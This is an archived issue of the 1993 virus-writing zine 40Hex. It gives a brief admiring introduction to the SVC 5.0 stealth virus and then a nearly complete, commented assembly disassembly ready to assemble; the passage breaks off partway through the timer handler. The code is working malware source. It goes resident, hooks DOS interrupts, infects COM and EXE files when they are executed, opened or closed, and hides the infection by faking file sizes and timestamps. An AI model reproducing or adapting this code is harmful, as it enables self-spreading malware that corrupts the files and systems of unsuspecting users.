home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-11.zip / 40HEX-11.007 < prev    next >
Text File  |  1993-06-01  |  53KB  |  1,406 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 007
  2.  
  3.                                    SVC 5.0
  4.  
  5.      SVC 5.0 is a good example of a true stealth virus.  Cheesy, primitive
  6. stealth-wanna-be viruses "disinfect" by rewriting the files on the disk.
  7. Not so with SVC 5.0 and all real stealth viruses, which alter only the memory
  8. image of the file, leaving the original intact.  This has advantages,
  9. including:
  10.         o Time savings
  11.         o Fewer disk accesses
  12.         o No additional disk writes are required
  13.  
  14. General Notes:
  15.       SVC 5.0 is a parasitic, resident COM and EXE infector.  It does not
  16. have encryption, but this is offset by the true stealth capabilities of the
  17. virus.  Although it hides the file length increase, the virus does not suffer
  18. from the dreaded CHKDSK crosslinking errors experienced by many early stealth
  19. viruses.  However, the code to overcome this problem is kludgily implemented;
  20. the virus detects execution of programs with the "HK" and "DS" strings in the
  21. filename.  Although this helps with CHKDSK, it won't help with other programs
  22. which work in CHKDSK's asinine fashion.
  23.  
  24.                                                 -- Dark Angel
  25.                                                    Phalcon/Skism 1993
  26. -------------------------------------------------------------------------------
  27.                 .model  tiny
  28.                 .code
  29. ; SVC 5-A
  30. ; Disassembly done by Dark Angel of Phalcon/Skism
  31. ; Assemble with Tasm /m SVC5-A
  32.                 org     0
  33.  
  34. start:
  35.                 call    next
  36. next:
  37.                 pop     si
  38.                 db      83h,0EEh,3              ; sub si,offset next
  39.                 mov     word ptr cs:[si+offset storeAX],ax
  40.                 push    es
  41.                 push    si
  42.                 xor     dx,dx
  43.                 mov     ah,84h                  ; installation check
  44.                 int     21h
  45.                 pop     si
  46.                 push    si
  47.                 cmp     dx,1990h
  48.                 jne     installvirus
  49.                 cmp     bh,byte ptr cs:[si+versionbyte]
  50.                 ja      go_exitvirus
  51.                 jc      installvirus
  52.                 push    si
  53.                 push    es
  54.                 xchg    ah,al                   ; convert ax to virus
  55.                 xor     ax,0FFFFh               ; CS
  56.                 mov     es,ax                   ; es->resident virus
  57.                 push    cs
  58.                 pop     ds
  59.                 xor     di,di
  60.                 mov     cx,begindata - start - 1; same version?
  61.                 cld
  62.                 repe    cmpsb
  63.                 pop     es
  64.                 pop     si
  65.                 jz      go_exitvirus            ; yes, exit
  66.                 jmp     reboot                  ; else reboot
  67. go_exitvirus:
  68.                 jmp     exitvirus
  69. installvirus:
  70.                 push    es
  71.                 xor     ax,ax
  72.                 mov     ds,ax
  73.                 les     ax,dword ptr ds:21h*4   ; save old int 21h
  74.                 mov     cs:[si+oldint21],ax     ; handler
  75.                 mov     word ptr cs:[si+oldint21+2],es
  76.                 les     ax,dword ptr ds:8*4     ; save old int 8 handler
  77.                 mov     cs:[si+oldint8],ax
  78.                 mov     word ptr cs:[si+oldint8+2],es
  79.                 pop     es
  80.                 mov     cs:[si+carrierPSP],es   ; save current PSP
  81.                 mov     ah,49h                  ; Release memory @ PSP
  82.                 int     21h
  83.                 jc      exitvirus               ; exit on error
  84.  
  85.                 mov     ah,48h                  ; Find total memory size
  86.                 mov     bx,0FFFFh
  87.                 int     21h
  88.                 sub     bx,(viruslength+15)/16+1; shrink allocation for carrier
  89.                 jc      exitvirus
  90.  
  91.                 mov     cx,es                   ; compute new memory
  92.                 stc                             ; block location
  93.                 adc     cx,bx
  94.                 mov     ah,4Ah                  ; Allocate memory for carrier
  95.                 int     21h
  96.  
  97.                 mov     bx,(viruslength+15)/16
  98.                 stc
  99.                 sbb     es:[2],bx               ; fix high memory field in PSP
  100.                 mov     es,cx
  101.                 mov     ah,4Ah                  ; Allocate memory for virus
  102.                 int     21h
  103.  
  104.                 mov     ax,es                   ; Go to virus MCB
  105.                 dec     ax
  106.                 mov     ds,ax
  107.                 mov     word ptr ds:[1],8       ; mark owner = DOS
  108.                 mov     ax,cs:[si+carrierPSP]   ; go back to carrier PSP
  109.                 dec     ax                      ; go to its MCB
  110.                 mov     ds,ax
  111.                 mov     byte ptr ds:[0],'Z'     ; mark it end of block
  112.                 push    cs
  113.                 pop     ds
  114.                 xor     di,di                   ; copy virus to high memory
  115.                 mov     cx,viruslength + 1
  116.                 cld
  117.                 rep     movsb
  118.                 xor     ax,ax
  119.                 mov     ds,ax
  120.                 cli                             ; and set up virus
  121.                 mov     word ptr ds:21h*4,offset int21
  122.                 mov     word ptr ds:21h*4+2,es  ; interrupt handlers
  123.                 mov     word ptr ds:8*4,offset int8
  124.                 mov     word ptr ds:8*4+2,es
  125. exitvirus:
  126.                 sti
  127.                 push    cs
  128.                 pop     ds
  129.                 pop     si
  130.                 push    si
  131.                 mov     ah,byte ptr cs:[si+offset encryptval1]
  132.                 mov     dh,byte ptr cs:[si+offset encryptval2]
  133.                 add     si,offset savebuffer
  134.                 call    decrypt
  135.                 pop     si
  136.                 pop     es
  137.                 cld
  138.                 cmp     cs:[si+offset savebuffer],'ZM'
  139.                 je      returnEXE
  140.                 mov     di,100h
  141.                 push    cs
  142.                 pop     ds
  143.                 push    cs
  144.                 pop     es
  145.                 push    si
  146.                 add     si,offset savebuffer
  147.                 movsb
  148.                 movsw
  149.                 pop     si
  150.                 mov     ax,100h
  151.                 push    ax
  152.                 mov     ax,word ptr cs:[si+offset storeAX]
  153.                 retn
  154. returnEXE:
  155.                 mov     bx,es
  156.                 add     bx,10h
  157.                 add     bx,cs:[si+savebuffer+16h]
  158.                 mov     word ptr cs:[si+jmpcs],bx
  159.                 mov     bx,cs:[si+savebuffer+14h]
  160.                 mov     word ptr cs:[si+jmpip],bx
  161.                 mov     bx,es
  162.                 mov     ds,bx
  163.                 add     bx,10h
  164.                 add     bx,cs:[si+savebuffer+0eh]
  165.                 cli
  166.                 mov     ss,bx
  167.                 mov     sp,cs:[si+savebuffer+10h]
  168.                 sti
  169.                 mov     ax,word ptr cs:[si+offset storeAX]
  170.                 db      0EAh                    ; jmp far ptr
  171. jmpip           dw      0
  172. jmpcs           dw      0
  173.  
  174. int21:
  175.                 pushf
  176.                 push    ax
  177.                 push    bx
  178.                 push    cx
  179.                 push    dx
  180.                 push    si
  181.                 push    di
  182.                 push    ds
  183.                 push    es
  184.                 mov     word ptr cs:int21command,ax
  185.                 cmp     word ptr cs:int21command,4B03h ; load/no PSP
  186.                 je      _load_noexecute
  187.                 cmp     word ptr cs:int21command,4B01h ; load/no execute
  188.                 je      _load_noexecute
  189.                 cmp     word ptr cs:int21command,4B00h ; load/execute
  190.                 je      _load_execute
  191.                 cmp     ah,3Dh                  ; handle open
  192.                 je      _handleopen
  193.                 cmp     ah,3Eh                  ; handle close
  194.                 je      _handleclose
  195.                 cmp     ah,40h                  ; handle write
  196.                 je      _handlewrite
  197.                 cmp     ah,4Ch                  ; terminate
  198.                 je      _terminate
  199.                 jmp     short exitint21
  200.                 nop
  201. _terminate:
  202.                 jmp     terminate
  203. _handlewrite:
  204.                 jmp     handlewrite
  205. _load_noexecute:
  206.                 jmp     load_noexecute
  207. _handleclose:
  208.                 jmp     handleclose
  209. _handlecreate:
  210.                 jmp     handlecreate
  211. _load_execute:
  212.                 jmp     load_execute
  213. _handleopen:
  214.                 jmp     handleopen
  215. _FCBfindfirstnext:
  216.                 jmp     FCBfindfirstnext
  217. _ASCIIfindfirstnext:
  218.                 jmp     ASCIIfindfirstnext
  219. _handlegoEOF:
  220.                 jmp     handlegoEOF
  221. _handleopen2:
  222.                 jmp     handleopen2
  223. _handleread:
  224.                 jmp     handleread
  225. _getsetfiletime:
  226.                 jmp     getsetfiletime
  227.  
  228. return:
  229.                 retn
  230.  
  231. load_execute_exit:
  232.                 call    restoreint24and23
  233.                 jmp     short exitint21
  234.                 nop
  235.  
  236. restoreint24and23:
  237.                 xor     ax,ax
  238.                 mov     ds,ax
  239.                 mov     ax,cs:oldint24
  240.                 mov     ds:24h*4,ax
  241.                 mov     ax,cs:oldint24+2
  242.                 mov     word ptr ds:24h*4+2,ax
  243.                 mov     ax,cs:oldint23
  244.                 mov     ds:23h*4,ax
  245.                 mov     ax,cs:oldint23+2
  246.                 mov     word ptr ds:23h*4+2,ax
  247.                 retn
  248.  
  249. exitint21:
  250.                 pop     es
  251.                 pop     ds
  252.                 pop     di
  253.                 pop     si
  254.                 pop     dx
  255.                 pop     cx
  256.                 pop     bx
  257.                 pop     ax
  258.                 cmp     ah,3Ch                  ; handlecreate
  259.                 je      _handlecreate
  260.                 cmp     ah,83h                  ; installation check for
  261.                 je      old_installation_check  ; other versions of SVC
  262.                 cmp     ah,84h                  ; installation check for
  263.                 je      installation_check      ; this version of SVC
  264.                 cmp     ah,4Eh                  ; find first?
  265.                 je      _ASCIIfindfirstnext
  266.                 cmp     ah,4Fh                  ; find next?
  267.                 je      _ASCIIfindfirstnext
  268.                 cmp     ah,11h                  ; find first
  269.                 je      _FCBfindfirstnext
  270.                 cmp     ah,12h                  ; find next
  271.                 je      _FCBfindfirstnext
  272.                 cmp     ax,4202h                ; go EOF
  273.                 je      _handlegoEOF
  274.                 cmp     ah,3Dh                  ; handle open
  275.                 je      _handleopen2
  276.                 cmp     ah,3Fh                  ; handle read
  277.                 je      _handleread
  278.                 cmp     ah,57h                  ; get/set file time
  279.                 je      _getsetfiletime
  280.                 popf                            ; chain to original int
  281.                 jmp     dword ptr cs:oldint21   ; 21h handler
  282.  
  283. callint21:
  284.                 cli
  285.                 pushf
  286.                 call    dword ptr cs:oldint21
  287.                 retn
  288.  
  289. installation_check:
  290.                 popf
  291.                 mov     bh,cs:versionbyte
  292.                 mov     ax,cs
  293.                 xor     ax,0FFFFh
  294.                 xchg    ah,al
  295. common_installation_check_return:
  296.                 mov     dx,1990h
  297.                 iret
  298.  
  299. old_installation_check:
  300.                 popf
  301.                 jmp     short common_installation_check_return
  302.  
  303. popdsdx_return:
  304.                 pop     dx
  305.                 pop     ds
  306.                 jmp     return
  307.  
  308. load_execute:
  309.                 call    check_chkdsk
  310.                 call    infectdsdx
  311.                 jmp     load_execute_exit
  312.  
  313. infectdsdx:
  314.                 call    setint24and23
  315.                 jmp     short infectdsdx_continue
  316.                 nop
  317.  
  318. setint24and23:
  319.                 xor     ax,ax
  320.                 mov     es,ax
  321.                 les     ax,dword ptr es:24h*4
  322.                 mov     cs:oldint24,ax
  323.                 mov     cs:oldint24+2,es
  324.                 xor     ax,ax
  325.                 mov     es,ax
  326.                 les     ax,dword ptr es:23h*4
  327.                 mov     cs:oldint23,ax
  328.                 mov     cs:oldint23+2,es
  329.                 xor     ax,ax
  330.                 mov     es,ax
  331.                 mov     word ptr es:24h*4,offset int24
  332.                 mov     word ptr es:24h*4+2,cs
  333.                 mov     word ptr es:23h*4,offset int23
  334.                 mov     word ptr es:23h*4+2,cs
  335.                 retn
  336.  
  337. infectdsdx_continue:
  338.                 push    ds
  339.                 push    dx
  340.                 cmp     byte ptr cs:tickcount,3Ch ; don't infect too early
  341.                 jb      popdsdx_return          ; after previous one
  342.                 mov     ax,4300h                ; get file attributes
  343.                 call    callint21
  344.                 jc      popdsdx_return
  345.                 mov     cs:fileattr,cx
  346.                 and     cl,0FEh                 ; turn off r/o bit
  347.                 mov     ax,4301h                ; and reset file attributes
  348.                 call    callint21
  349.                 jc      popdsdx_return
  350.                 mov     cx,cs:fileattr
  351.                 and     cl,4                    ; test cl,4
  352.                 cmp     cl,4                    ; check system attribute
  353.                 je      infecthandle_exit       ; exit if set
  354.                 mov     ax,3D02h                ; open file read/write
  355.                 call    callint21
  356.                 jc      infecthandle_exit
  357.                 mov     bx,ax                   ; handle to bx
  358.                 push    dx                      ; save file name pointer
  359.                 mov     ax,5700h                ; get file time/date
  360.                 call    callint21
  361.                 pop     dx
  362.                 and     cx,1Eh                  ; check if seconds = 60
  363.                 cmp     cx,1Eh                  ; (infection marker)
  364.                 jne     infect_dsdx_checkmo     ; continue if not so marked
  365.                 jmp     short infecthandle_alreadyinfected
  366.                 nop
  367. infect_dsdx_checkmo:
  368.                 call    check_command_com
  369.                 jnc     infecthandle
  370.                 jmp     short infecthandle_alreadyinfected
  371.                 nop
  372.  
  373. check_command_com:
  374.                 cld
  375.                 mov     si,dx
  376. check_command_com_loop:
  377.                 lodsw
  378.                 cmp     ax,'MM'                 ; COMMAND.COM?
  379.                 je      check_command_com_yes
  380.                 cmp     ax,'mm'
  381.                 je      check_command_com_yes
  382.                 cmp     ax,'MB'                 ; IBMBIO/IBMDOS?
  383.                 je      check_command_com_yes
  384.                 cmp     ax,'mb'
  385.                 je      check_command_com_yes
  386.                 cmp     ah,0
  387.                 je      check_command_com_no
  388.                 dec     si
  389.                 jmp     short check_command_com_loop
  390. check_command_com_yes:
  391.                 stc
  392.                 retn
  393. check_command_com_no:
  394.                 clc
  395.                 retn
  396.  
  397. infecthandle_exit:
  398.                 jmp     popdsdx_return
  399. infecthandle:
  400.                 cmp     bx,5                    ; check if handle too
  401.                 jb      infecthandle_exit       ; small (predefined)
  402.                 call    checkifinfected
  403.                 jnc     infecthandle_alreadyinfected
  404.                 call    infect_handle
  405. infecthandle_alreadyinfected:
  406.                 mov     ah,3Eh                  ; Close file
  407.                 call    callint21
  408.                 pop     dx
  409.                 pop     ds
  410.                 jc      infecthandle_exit2
  411.                 mov     ax,4301h                ; restore file attributes
  412.                 mov     cx,cs:fileattr
  413.                 call    callint21
  414. infecthandle_exit2:
  415.                 jmp     return
  416.  
  417. infect_handle_exit:
  418.                 jmp     infect_handle_error
  419. infect_handle:
  420.                 mov     ax,5700h                ; get file time/date
  421.                 call    callint21
  422.                 mov     cs:filetime,cx
  423.                 mov     cs:filedate,dx
  424.                 xor     cx,cx
  425.                 xor     dx,dx
  426.                 mov     ax,4200h                ; go to start of file
  427.                 call    callint21
  428.                 push    cs
  429.                 pop     ds
  430.                 mov     cx,18h                  ; read header
  431.                 mov     dx,offset savebuffer
  432.                 mov     ah,3Fh
  433.                 call    callint21
  434.                 jc      infect_handle_exit
  435.                 push    cs
  436.                 pop     es
  437.                 push    cs
  438.                 pop     ds
  439.                 mov     si,offset savebuffer    ; copy to work buffer
  440.                 mov     di,offset workbuffer
  441.                 mov     cx,18h
  442.                 cld
  443.                 rep     movsb
  444.                 mov     ax,2C00h
  445.                 call    callint21
  446.                 mov     byte ptr cs:encryptval2,dh
  447.                 mov     byte ptr cs:encryptval1,dl
  448.                 mov     ah,dl
  449.                 mov     si,offset savebuffer
  450.                 call    decrypt
  451.                 cmp     cs:workbuffer,'ZM'      ; check if EXE
  452.                 je      infect_handle_EXE
  453.                 mov     cs:workbuffer,0E9h      ; encode the jmp
  454.                 xor     cx,cx
  455.                 xor     dx,dx
  456.                 mov     ax,4202h                ; get file size
  457.                 call    callint21
  458.                 cmp     dx,0
  459.                 jne     infect_handle_exit
  460.                 cmp     ax,viruslength
  461.                 jb      infect_handle_exit
  462.                 cmp     ax,0EDE1h               ; check if too large
  463.                 jae     infect_handle_exit
  464.                 sub     ax,3                    ; adjust size to jmp location
  465.                 mov     word ptr cs:workbuffer+1,ax
  466.                 call    writevirusandheader     ; write virus to file
  467.                 jmp     infect_handle_finish
  468.  
  469. writevirusandheader:
  470.                 push    cs
  471.                 pop     ds
  472.                 xor     dx,dx
  473.                 mov     cx,viruslength
  474.                 mov     ah,40h                  ; concatenate virus
  475.                 call    callint21
  476.                 jc      writevirusandheader_exit
  477.                 cmp     ax,viruslength
  478.                 jne     writevirusandheader_exit
  479.                 xor     cx,cx
  480.                 xor     dx,dx
  481.                 mov     ax,4200h                ; go to start of file
  482.                 call    callint21
  483.                 jc      writevirusandheader_exit
  484.                 mov     dx,offset workbuffer    ; write new header to file
  485.                 mov     ah,40h
  486.                 mov     cx,18h
  487.                 call    callint21
  488.                 retn
  489. writevirusandheader_exit:
  490.                 stc
  491.                 retn
  492.  
  493. infect_handle_EXE:
  494.                 xor     cx,cx                   ; go to end of file
  495.                 xor     dx,dx
  496.                 mov     ax,4202h
  497.                 call    callint21
  498.                 push    dx                      ; save file size
  499.                 push    ax
  500.                 mov     si,ax
  501.                 xor     ax,ax
  502.                 xchg    ax,dx
  503.                 mov     di,1000h
  504.                 mul     di
  505.                 mov     dx,ax
  506.                 mov     ax,si
  507.                 mov     si,dx
  508.                 xor     dx,dx
  509.                 mov     di,10h                  ; convert to paragraphs
  510.                 div     di
  511.                 add     ax,si
  512.                 xchg    ax,dx
  513.                 sub     dx,cs:workbuffer+8      ; subtract header size
  514.                 mov     word ptr cs:workbuffer+16h,dx ; insert new initial
  515.                 mov     word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
  516.                 pop     ax
  517.                 pop     dx
  518.                 add     ax,viruslength          ; calculate new image
  519.                 adc     dx,0                    ; size mod 512 and div 512
  520.                 mov     di,200h
  521.                 div     di
  522.                 cmp     dx,0
  523.                 je      infect_handle_EXE_nofixup
  524.                 add     ax,1                    ; pagelength fixup
  525. infect_handle_EXE_nofixup:
  526.                 mov     cs:workbuffer+4,ax
  527.                 mov     cs:workbuffer+2,dx
  528.                 mov     ds,word ptr cs:workbuffer+16h ; insert new SS:SP
  529.                 mov     word ptr cs:workbuffer+0Eh,ds
  530.                 mov     ax,word ptr cs:workbuffer+14h
  531.                 add     ax,17D7h
  532.                 mov     word ptr cs:workbuffer+10h,ax
  533.                 call    writevirusandheader     ; write virus to file
  534.                 jmp     short infect_handle_finish
  535.                 nop
  536. infect_handle_error:
  537.                 stc
  538. infect_handle_finish:
  539.                 mov     ax,5701h                ; restore file time/date
  540.                 mov     cx,cs:filetime
  541.                 mov     dx,cs:filedate
  542.                 jc      infect_handle_noreset
  543.                 and     cx,0FFFEh               ; but set seconds to
  544.                 or      cx,1Eh                  ; 60
  545.                 mov     byte ptr cs:tickcount,0 ; reset tickcount
  546. infect_handle_noreset:
  547.                 call    callint21
  548.                 retn
  549.  
  550. int23:
  551.                 iret
  552. int24:
  553.                 mov     al,3
  554.                 iret
  555.  
  556. load_noexecute_exit:
  557.                 jmp     load_noexecute_closeexit
  558. load_noexecute:
  559.                 call    setint24and23
  560.                 push    ds
  561.                 push    dx
  562.                 mov     ax,4300h                ; get file attributes
  563.                 call    callint21
  564.                 jc      load_noexecute_exit
  565.                 mov     cs:fileattr,cx
  566.                 and     cl,0FEh                 ; turn off r/o bit
  567.                 mov     ax,4301h                ; reset attributes
  568.                 call    callint21
  569.                 jc      load_noexecute_exit
  570.                 mov     ax,3D02h                ; open file read/write
  571.                 call    callint21
  572.                 jc      load_noexecute_exit
  573.                 mov     bx,ax                   ; handle to bx
  574.                 call    checkifinfected
  575.                 jc      load_noexecute_exit
  576.                 jmp     short load_noexecute_disinfect
  577.                 nop
  578. checkifinfected_exit:
  579.                 stc                             ; mark infected
  580.                 retn                            ; and exit
  581.  
  582. checkifinfected:
  583.                 mov     ax,5700h                ; get file time/date
  584.                 call    callint21
  585.                 mov     cs:filedate,dx
  586.                 mov     cs:filetime,cx
  587.                 and     cx,1Fh
  588.                 cmp     cx,1Eh
  589.                 jne     checkifinfected_exit
  590.                 xor     cx,cx
  591.                 xor     dx,dx
  592.                 mov     ax,4202h                ; go to end of file
  593.                 call    callint21
  594.                 jc      checkifinfected_exit
  595.                 mov     cs:filesizelo,ax        ; save filesize
  596.                 mov     cs:filesizehi,dx
  597.                 sub     ax,endvirus - infection_marker
  598.                 sbb     dx,0
  599.                 mov     cx,ax
  600.                 xchg    cx,dx
  601.                 mov     ax,4200h                ; rewind to infection
  602.                 call    callint21               ; marker
  603.                 jc      checkifinfected_exit
  604.                 push    cs
  605.                 pop     ds
  606.                 mov     ah,3Fh                  ; read file
  607.                 mov     cx,3
  608.                 mov     dx,offset savebuffer
  609.                 call    callint21
  610.                 jc      checkifinfected_exit
  611.                 push    cs
  612.                 pop     es
  613.                 mov     si,offset savebuffer    ; check for infection
  614.                 mov     di,offset infection_marker
  615.                 mov     cx,3                    ; marker
  616.                 repne   cmpsb
  617.                 jnz     checkifinfected_exit
  618.                 clc                             ; mark not infected
  619.                 retn                            ; and exit
  620.  
  621. load_noexecute_disinfect:
  622.                 call    disinfect
  623.                 jmp     load_noexecute_closeexit
  624.  
  625. disinfect_exit:
  626.                 jmp     disinfect_error
  627. disinfect:
  628.                 mov     dx,cs:filesizelo
  629.                 mov     cx,cs:filesizehi
  630.                 sub     dx,75h                  ; go to savebuffer
  631.                 nop
  632.                 sbb     cx,0
  633.                 mov     ax,4200h
  634.                 call    callint21
  635.                 jc      disinfect_exit
  636.                 jmp     short disinfect_file
  637.                 nop
  638.  
  639.                 jmp     load_noexecute_closeexit
  640. disinfect_file:
  641.                 push    cs
  642.                 pop     ds
  643.                 mov     ah,3Fh                  ; Read carrier's
  644.                 mov     cx,18h                  ; original header
  645.                 mov     dx,offset savebuffer
  646.                 push    cs
  647.                 pop     ds
  648.                 call    callint21
  649.                 jc      disinfect_exit
  650.                 mov     dx,cs:filesizelo        ; go to decryption
  651.                 mov     cx,cs:filesizehi        ; values
  652.                 sub     dx,endvirus - encryptval1
  653.                 nop
  654.                 sbb     cx,0
  655.                 mov     ax,4200h
  656.                 call    callint21
  657.                 mov     dx,offset encryptval1
  658.                 mov     ah,3Fh                  ; read decryption values
  659.                 mov     cx,2
  660.                 call    callint21
  661.                 mov     si,offset savebuffer
  662.                 mov     ah,byte ptr cs:encryptval1
  663.                 mov     dh,byte ptr cs:encryptval2
  664.                 call    decrypt                 ; decrypt old header
  665.                 xor     cx,cx
  666.                 xor     dx,dx
  667.                 mov     ax,4200h
  668.                 call    callint21
  669.                 jc      disinfect_error
  670.                 mov     ah,40h                  ; Write old header to
  671.                 mov     cx,18h                  ; file
  672.                 mov     dx,offset savebuffer
  673.                 call    callint21
  674.                 jc      disinfect_error
  675.                 mov     dx,cs:filesizelo
  676.                 mov     cx,cs:filesizehi
  677.                 sub     dx,viruslength
  678.                 sbb     cx,0                    ; go to end of carrier
  679.                 mov     ax,4200h                ; file and
  680.                 call    callint21
  681.                 jc      disinfect_error
  682.                 mov     ah,40h                  ; truncate file
  683.                 xor     cx,cx                   ; at current position
  684.                 call    callint21
  685.                 jc      disinfect_error
  686.                 mov     ax,5701h                ; restore file time/date
  687.                 mov     dx,cs:filedate
  688.                 mov     cx,cs:filetime
  689.                 xor     cx,1Fh
  690.                 call    callint21
  691.                 retn
  692. disinfect_error:
  693.                 stc                             ; mark error
  694.                 retn
  695.  
  696. load_noexecute_closeexit:
  697.                 mov     ah,3Eh                  ; Close file and
  698.                 call    callint21
  699.                 mov     ax,4301h                ; restore attributes
  700.                 mov     cx,offset fileattr      ; BUG!!!
  701.                 pop     dx
  702.                 pop     ds
  703.                 call    callint21
  704.                 call    restoreint24and23
  705.                 jmp     exitint21
  706.  
  707. FCBfindfirstnext:
  708.                 call    dword ptr cs:oldint21   ; prechain
  709.                 pushf
  710.                 pop     cs:returnFlags
  711.                 cmp     al,0FFh
  712.                 je      FCBfindfirstnext_exit
  713.                 cmp     cs:chkdskflag,0
  714.                 jne     FCBfindfirstnext_exit
  715.                 push    ax
  716.                 push    bx
  717.                 push    cx
  718.                 push    dx
  719.                 push    es
  720.                 push    ds
  721.                 mov     ah,2Fh                  ; Get DTA
  722.                 call    callint21
  723.                 cmp     word ptr es:[bx],0FFh   ; extended FCB?
  724.                 jne     FCBfindfirstnext_noextendedFCB
  725.                 add     bx,8                    ; convert if so
  726. FCBfindfirstnext_noextendedFCB:
  727.                 mov     ax,es:[bx+16h]
  728.                 and     ax,1Fh                  ; check if seconds = 60
  729.                 cmp     ax,1Eh
  730.                 jne     FCBfindfirstnext_notinfected
  731.                 xor     word ptr es:[bx+16h],1Fh; fix seconds field
  732.                 sub     word ptr es:[bx+1Ch],viruslength
  733.                 sbb     word ptr es:[bx+1Eh],0  ; shrink size
  734. FCBfindfirstnext_notinfected:
  735.                 pop     ds
  736.                 pop     es
  737.                 pop     dx
  738.                 pop     cx
  739.                 pop     bx
  740.                 pop     ax
  741. FCBfindfirstnext_exit:
  742.                 pop     cs:storesIP
  743.                 pop     cs:storesCS
  744.                 popf
  745.                 push    cs:returnFlags
  746.                 push    cs:storesCS
  747.                 push    cs:storesIP
  748.                 iret
  749.  
  750. ASCIIfindfirstnext:
  751.                 call    dword ptr cs:oldint21   ; prechain
  752.                 pushf
  753.                 pop     cs:returnFlags
  754.                 jc      ASCIIfindfirstnext_exit
  755.                 cmp     cs:chkdskflag,0
  756.                 jne     ASCIIfindfirstnext_exit
  757.                 push    ax
  758.                 push    bx
  759.                 push    cx
  760.                 push    dx
  761.                 push    es
  762.                 push    ds
  763.                 mov     ah,2Fh                  ; Get DTA
  764.                 call    callint21
  765.                 mov     ax,es:[bx+16h]          ; get file time
  766.                 and     ax,1Fh                  ; to check if file
  767.                 cmp     ax,1Eh                  ; infected
  768.                 jne     ASCIIfindfirstnext_notinfected
  769.                 xor     word ptr es:[bx+16h],1Fh        ; hide time change
  770.                 sub     word ptr es:[bx+1Ah],viruslength; and file length
  771.                 sbb     word ptr es:[bx+1Ch],0          ; change
  772. ASCIIfindfirstnext_notinfected:
  773.                 pop     ds
  774.                 pop     es
  775.                 pop     dx
  776.                 pop     cx
  777.                 pop     bx
  778.                 pop     ax
  779. ASCIIfindfirstnext_exit:
  780.                 pop     cs:storesIP
  781.                 pop     cs:storesCS
  782.                 popf
  783.                 push    cs:returnFlags
  784.                 push    cs:storesCS
  785.                 push    cs:storesIP
  786.                 iret
  787. handleopen:
  788.                 call    check_infectok
  789.                 jnc     handleopen_continue
  790.                 jmp     exitint21
  791.  
  792. check_infectok:
  793.                 cld
  794.                 mov     si,dx
  795.                 lodsw
  796.                 cmp     ah,':'
  797.                 jne     check_infectok_nodrive
  798.                 cmp     al,'a'                  ; make sure not floppy
  799.                 je      check_infectok_exit
  800.                 cmp     al,'A'
  801.                 je      check_infectok_exit
  802.                 cmp     al,'B'
  803.                 jb      check_infectok_exit     ; BUG
  804.                 cmp     al,'b'
  805.                 je      check_infectok_exit
  806.                 jmp     short check_extension
  807.                 nop
  808. check_infectok_exit:
  809.                 jmp     short check_extension_notok
  810.                 nop
  811. check_infectok_nodrive:
  812.                 mov     ah,19h                  ; get default drive
  813.                 call    callint21
  814.                 cmp     al,2                    ; make sure not floppy
  815.                 jae     check_extension
  816.                 jmp     short check_extension_notok
  817.                 db      90h
  818.  
  819. check_extension:
  820.                 cld
  821.                 mov     si,dx
  822. check_extension_findextension:
  823.                 lodsb
  824.                 cmp     al,'.'
  825.                 je      check_extension_foundextension
  826.                 cmp     al,0
  827.                 jne     check_extension_findextension
  828.                 jmp     short check_extension_notok
  829.                 db      90h
  830. check_extension_foundextension:
  831.                 lodsw
  832.                 cmp     ax,'OC'
  833.                 je      check_extension_checkcom
  834.                 cmp     ax,'oc'
  835.                 je      check_extension_checkcom
  836.                 cmp     ax,'XE'
  837.                 je      check_extension_checkexe
  838.                 cmp     ax,'xe'
  839.                 je      check_extension_checkexe
  840.                 jmp     short check_extension_notok
  841.                 db      90h
  842. check_extension_checkcom:
  843.                 lodsb
  844.                 cmp     al,'M'
  845.                 je      check_extension_ok
  846.                 cmp     al,'m'
  847.                 je      check_extension_ok
  848.                 jmp     short check_extension_notok
  849.                 db      90h
  850. check_extension_checkexe:
  851.                 lodsb
  852.                 cmp     al,'E'
  853.                 je      check_extension_ok
  854.                 cmp     al,'e'
  855.                 je      check_extension_ok
  856.                 jmp     short check_extension_notok
  857.                 db      90h
  858. check_extension_ok:
  859.                 clc
  860.                 retn
  861. check_extension_notok:
  862.                 stc
  863.                 retn
  864.  
  865. handleopen_continue:
  866.                 call    infectdsdx
  867.                 call    restoreint24and23
  868.                 jmp     exitint21
  869. handlecreate:
  870.                 mov     word ptr cs:storess,ss  ; preserve ss and sp
  871.                 mov     word ptr cs:storesp,sp
  872.                 call    dword ptr cs:oldint21
  873.                 cli
  874.                 mov     ss,word ptr cs:storess
  875.                 mov     sp,word ptr cs:storesp
  876.                 sti
  877.                 pop     cs:returnFlags          ; save return flags
  878.                 pushf
  879.                 push    ax
  880.                 push    bx
  881.                 push    cx
  882.                 push    ds
  883.                 push    es
  884.                 push    si
  885.                 push    di
  886.                 jc      handlecreate_exit
  887.                 push    dx
  888.                 push    ax
  889.                 call    check_extension
  890.                 pop     ax
  891.                 pop     dx
  892.                 jc      handlecreate_exit
  893.                 push    ax
  894.                 call    check_command_com
  895.                 pop     ax
  896.                 jc      handlecreate_exit
  897.                 mov     cs:handletoinfect,ax    ; save handle to infect
  898.                                                 ; upon close
  899. handlecreate_exit:
  900.                 pop     di
  901.                 pop     si
  902.                 pop     es
  903.                 pop     ds
  904.                 pop     cx
  905.                 pop     bx
  906.                 pop     ax
  907.                 jmp     exit_replaceflags
  908. handleclose_exit:
  909.                 mov     cs:filehand,0
  910.                 jmp     exitint21
  911.  
  912. handleclose:
  913.                 cmp     bx,0
  914.                 jne     handleclose_continue
  915.                 jmp     exitint21
  916. handleclose_continue:
  917.                 cmp     bx,cs:handletoinfect
  918.                 je      handleclose_infect
  919.                 cmp     bx,cs:filehand
  920.                 je      handleclose_exit
  921.                 jmp     exitint21
  922. handleclose_infect:
  923.                 mov     ah,45h                  ; Duplicate file handle
  924.                 call    callint21
  925.                 jc      handleclose_infect_exit
  926.                 xchg    ax,bx
  927.                 call    setint24and23
  928.                 call    handleclose_infecthandle
  929.                 call    restoreint24and23
  930. handleclose_infect_exit:
  931.                 mov     cs:handletoinfect,0
  932.                 jmp     exitint21
  933.  
  934. handleclose_infecthandle:
  935.                 push    ds
  936.                 push    dx
  937.                 jmp     infecthandle
  938.  
  939. int8:
  940.                 push    ax
  941.                 push    ds
  942.                 pushf
  943.                 cmp     byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
  944.                 je      int8checkint1
